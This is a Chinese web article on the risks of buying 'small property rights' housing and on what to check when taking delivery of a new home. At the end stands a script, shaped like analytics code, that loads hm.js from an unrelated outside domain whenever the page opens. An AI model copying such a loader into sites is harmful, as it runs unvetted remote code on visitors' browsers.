【关于小产权房】产生的原因及购买时的问题简析

在我们生活的城市中，你会发现城市的面积在不断的扩大，在郊区建筑房屋商店，而这样扩大就会占用郊区一些农民的土地面积，但是在占用土地的前提是要合法的买卖土地，但是我国的土地是归国家所有，农民及商家不得随意的买卖土地，这就需要正规的土地转让证明，以及土地租用者也就是拥有土地的农民要接受购买土地的各项条件。但是仍然有许多的人不满意购买的条件，于是就自己盖上房屋出租或者卖出去，或者是在国家不允许的情况下自己盖上房屋居住，而这种不属于购买来自己建筑的房屋，或者购买的时候是别人自己建筑的，没有正规的房产证的房屋则属于小产权房。大产权房及小产权房的分类是根据土地使用权上来分的，大产权房是发展商有土地的产权，通过竞标拍卖或者直接购买而得来的土地产权，发展商的产权属于大产权，而小产权则是土地原有的租用者，在自己的土地上建筑的房子则叫做小产权房。大产权房购买的时候不需要缴纳土地出让金，而小产权房在购买的时候也要购买房屋占用的土地的出让金;大产权有国家发产权证，而小产权房国家不分发产权证，而是通过乡镇发的产权证，又叫做乡产证，而乡产证并不具有真正意义上的产权。小产权房产生的原因大多有几类，一种是城市房价太高，很多大中城市的房价让许多人一辈子都买不了属于自己的一套住房，而且政府的一些经济适用房和廉租房的数量太少，而需要房屋的人数太多，这个时候小产权房的价格无疑是最适合购买的，然后也就忽略了一些小产权房存在问题;还有一种就是农村土地制度的不合理，农村很多人法律意识不强，认为是自己的土地就是自己所拥有的，就可以在自己的土地上想做什么就做什么，而居住需要房屋又是生活中所必不可少的，于是就选择一块适合的土地盖房子，并没有房产证类的证明。在小产权房购买的时候存在很多的风险问题，其中有些就是法律上的问题，在房屋转让上小产权房拿不到正式的房产证就不具备真正意义上的产权，房屋没有过户到时候如果有拆迁，则不享受政府给予的拆迁款，还有就是政策上具有的风险，我国明确规定不准在非宅基地的土地上建筑房屋等政策。小产权房的存在尽管为很多人提供了住宅，但是存在的问题特别多，希望小编的这些介绍可以为你提供一个对于小产权房的参考。

关于收房应注意哪些问题的相关解答

当今社会买房是大多数人都要面临的大事，但是买房的过程中会碰到各种问题。有的人可能连买房的步骤和规则都没有弄清楚便稀里糊涂地付了钱，也不知道收房应注意哪些问题，收了房才发现房子有各种问题，这时候再去找房地产开发商就为时未晚了。所以收房应注意哪些问题呢？今天就给大家总结了几点特别需要注意的事项。一、交付注意合同中关于房款的约定收房应注意哪些问题呢？按常理来说，普通的商品房是要等房款全部结清后才可以交付的，若购房者在约定时间之内没有结清应付房款，房地产开发商是有将房屋交付时间推迟的权力的。所以，买房时就应该在《商品房买卖合同》中约定好房屋什么时候交付。二、明确物业费问题一般房地产开发商和自己公司选聘的物业公司会签订《前期物业管理协议》，购房者在和房地产公司签署相关购房合同的时候，可以要求房地产开发商提供他与相关物业公司签订的协议，并且在购房合同中要有明确的物业管理费具体事项说明。这样可以防止交房后物业随意涨价。三、先验房再交费很多房地产开发商都会让购房的人先交相关费用后才能去验房，这个是不符合规定的，交房有权要求先验房再收房，购房者最好请相关专业人士陪同验房，验房的时候发现的各种问题写在验房单子上交由房地产开发商整改。要是房屋交付以后再去验房，万一房屋有各种问题，而责任在谁就很难说清楚了。四、请专业人士指导收房为了避免房地产商在合同上钻空子，收房的时候也可以与其他业主一起收房，如果经济实力允许更可以请一个专业的律师指导。收房陷阱很多，新手更需注意，以上就是收房应注意哪些问题的相关回答。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();